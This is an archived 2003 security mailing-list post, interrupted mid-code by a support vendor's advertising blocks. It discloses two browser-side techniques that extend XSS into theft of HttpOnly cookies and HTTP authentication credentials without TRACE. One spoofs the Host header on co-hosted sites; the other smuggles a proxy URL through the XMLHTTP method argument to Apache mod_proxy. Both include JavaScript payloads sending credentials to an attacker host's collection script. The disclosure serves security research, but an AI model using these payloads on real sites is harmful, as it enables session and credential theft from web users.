XS(T) attack variants which can, in some cases, eliminate the need for TRACE

Hi

Putting aside issues such as the importance of XST, the signal-to-noise ratio in WhiteHat's paper, the importance of XSS at large, and "whose fault is it", I would like to show two variants of the XST attacks, which do not require TRACE support at the server (therefore technically perhaps do not exactly fall under XST...). So assuming some way is found to execute JS at the context of the vulnerable site (whether via XSS or via browser vulnerability), the variants presented below escalate this problem (XSS or browser vulnerability - which can be used to compromise regular cookies) into the ability to compromise HttpOnly cookies and HTTP authentication credentials as well.

It should be stressed that the variants cover only particular scenarios, as described below.

Here are the variants. I assume that www.vuln.site is the site whose credentials (in the victim's browser) are to be stolen. I assume www.evil.site is a site under the attacker's control.

1. Co-Hosted sites. Let's say we have www.vuln.site, co-hosted (i.e. same IP and port. e.g. two vitual hosts on the same server, or load balancer address) with www.evil.site . Now, assume, through the numerous tricks of cross-domaining the browser, or by XSS, that you manage to run JS in www.vuln.site. And now, let's say that the server does not support TRACE. Here's what you can do:

<script>

    var XmlHttp = new ActiveXObject("Microsoft.XMLHTTP");    

 XmlHttp.open("GET","http://www.vuln.site/cgi-bin/collect-those-credentials.cgi",false);

    XmlHttp.setRequestHeader("Host","www.evil.site");     XmlHttp.send();
<script>

Do you need help?

In addition to our free technical library, Pantek provides professional IT services to companies who utilize Open Source software: Learn more about Pantek's Technical Support offerings Place an order for 24/7/365 Technical Support here Learn more about Pantek, who we are, and what we do Chat with a Live Operator Related securityfocus.com Links bugtraq certification focus-bsd focus-ids focus-ih focus-linux focus-ms focus-sun focus-unix-other focus-virus forensics incidents libnet linux-secnews ms-secnews pen-test secpapers secprog sectools secureshell security-basics securityjobs sf-news vuln-dev webappsec Request more information about Pantek

The request formed is actually:

GET /cgi-bin/collect-those-credentials.cgi HTTP/1.0 ...
Host: www.evil.site
...

Which is sent to the TCP endpoint www.vuln.site:80. So it goes directly to www.evil.site, with whatever cookies and HTTP auth info that the browser normally sends http://www.vuln.site/.

Now the only thing that remains for one to do is to set up a credential-collecting script (/cgi-bin/collect-those-credentials.cgi) which records the relevant HTTP headers, and that's it.

This was verified with IE 6.0 SP1 and with the two sites co-hosted in IIS/5.0. 2. Site that support proxying (checked with Apache). Unlike the above variant, here www.evil.site can be located somewhere in the Internet (no need for co-hosting). Here's the trick:

<script>

    var XmlHttp = new ActiveXObject("Microsoft.XMLHTTP");    

 XmlHttp.open("GET\thttp://www.evil.site/cgi-bin/collect-those-credentials.cgi","http://www.vuln.site/wherever",false);

Do you need more help?

In addition to our free technical library, Pantek provides professional IT services to companies who utilize Open Source software: Learn more about Pantek's Technical Support offerings Place an order for 24/7/365 Technical Support here Learn more about Pantek, who we are, and what we do Chat with a Live Operator Related securityfocus.com Links bugtraq certification focus-bsd focus-ids focus-ih focus-linux focus-ms focus-sun focus-unix-other focus-virus forensics incidents libnet linux-secnews ms-secnews pen-test secpapers secprog sectools secureshell security-basics securityjobs sf-news vuln-dev webappsec Request more information about Pantek

    XmlHttp.send();
<script>

Note that simply sending "GET http://..." fails - XmlHttp seems to ignore data in the method argument past the first space. Apache however can take a HT (\t)between the method and the URL, and ignores data after the first space, which is perfect for this attack, as by this it ignores the "original" URL.

The GET request (with cookies and all) is thus proxied by the web server (www.vuln.site) to www.evil.site. QED.

This was verified with IE 6.0 SP1 and Apache/1.3.23 with mod_proxy.

Acknowledgements: Ory Segal - for helping me test and validate the first variant.

-Amit Received on Sun Jan 26 10:59:24 2003